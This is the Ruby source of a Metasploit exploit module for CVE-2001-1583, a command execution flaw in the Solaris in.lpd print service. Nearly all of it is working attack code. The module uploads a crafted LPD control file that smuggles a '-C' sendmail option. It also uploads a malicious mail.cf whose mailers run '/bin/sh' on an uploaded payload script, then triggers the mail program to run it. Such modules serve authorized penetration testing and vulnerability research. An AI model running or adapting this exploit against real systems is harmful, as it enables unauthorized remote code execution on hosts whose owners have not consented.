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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Solaris LPD Command Execution',
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      'Description'    => %q{
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          This module exploits an arbitrary command execution flaw in
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        the in.lpd service shipped with all versions of Sun Solaris
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        up to and including 8.0. This module uses a technique
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        discovered by Dino Dai Zovi to exploit the flaw without
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        needing to know the resolved name of the attacking system.
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      },
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      'Author'         => [ 'hdm', 'ddz' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2001-1583'],
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          [ 'OSVDB', '15131'],
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          [ 'BID', '3274'],
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        ],
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      'Platform'       => %w{ solaris unix },
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          'Space'       => 8192,
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd',
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              'RequiredCmd' => 'generic perl telnet',
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            }
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        },
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      'Targets'        =>
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        [
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          [ 'Automatic Target', { }]
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        ],
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      'DisclosureDate' => '2001-08-31',
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      'DefaultTarget' => 0))
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    register_options(
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      [
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        Opt::RPORT(515)
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      ])
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  end
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  def exploit
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    # This is the temporary path created in the spool directory
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    spath = "/var/spool/print"
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    # The job ID is squashed down to three decimal digits
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    jid   = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
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    # The control file
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    control =
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      "H"+"metasploit\n"+
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      "P"+"\\\"-C"+spath+"/"+jid+"mail.cf\\\" nobody\n"+
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      "f"+"dfA"+jid+"config\n"+
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      "f"+"dfA"+jid+"script\n"
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    # The mail configuration file
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    mailcf =
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      "V8\n"+
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      "\n"+
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      "Ou0\n"+
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      "Og0\n"+
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      "OL0\n"+
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      "Oeq\n"+
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      "OQX/tmp\n"+
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      "\n"+
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      "FX|/bin/sh #{spath}/#{jid}script\n"+
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      "\n"+
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      "S3\n"+
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      "S0\n"+
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      "R\+     #local \\@blah :blah\n"+
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      "S1\n"+
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      "S2\n"+
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      "S4\n"+
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      "S5\n"+
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      "\n"+
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      "Mlocal  P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"+
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      "Mprog   P=/bin/sh, J=S, S=0, R=0, A=sh #{spath}/#{jid}script\n"
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    # Establish the first connection to the server
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    sock1 = connect(false)
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    # Request a cascaded job
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    sock1.put("\x02metasploit:framework\n")
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    res = sock1.get_once
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    if (not res)
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      print_status("The target did not accept our job request command")
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      return
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    end
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    print_status("Configuring the spool directory...")
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    if !(
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        send_file(sock1, 2, "cfA" + jid + "metasploit", control) and
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        send_file(sock1, 3, jid + "mail.cf", mailcf) and
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        send_file(sock1, 3, jid + "script", payload.encoded)
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      )
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      sock1.close
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      return
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    end
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    # Establish the second connection to the server
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    sock2 = connect(false)
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    # Request another cascaded job
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    sock2.put("\x02localhost:metasploit\n")
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    res = sock2.get_once
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    if (not res)
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      print_status("The target did not accept our second job request command")
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      return
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    end
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    print_status("Attempting to trigger the vulnerable call to the mail program...")
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    if !(
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        send_file(sock2, 2, "cfA" + jid + "metasploit", control) and
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        send_file(sock2, 3, "dfa" + jid + "config", mailcf)
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      )
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      sock1.close
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      sock2.close
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      return
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    end
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    sock1.close
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    sock2.close
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    print_status("Waiting up to 60 seconds for the payload to execute...")
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    select(nil,nil,nil,60)
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    handler
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  end
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  def send_file(s, type, name, data='')
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    s.put(type.chr + data.length.to_s + " " + name + "\n")
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    res = s.get_once(1)
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    if !(res and res[0,1] == "\x00")
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      print_status("The target did not accept our control file command (#{name})")
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      return
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    end
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    s.put(data)
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    s.put("\x00")
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    res = s.get_once(1)
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    if !(res and res[0,1] == "\x00")
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      print_status("The target did not accept our control file data (#{name})")
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      return
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    end
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    print_status(sprintf("     Uploaded %.4d bytes >> #{name}", data.length))
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    return true
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  end
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end
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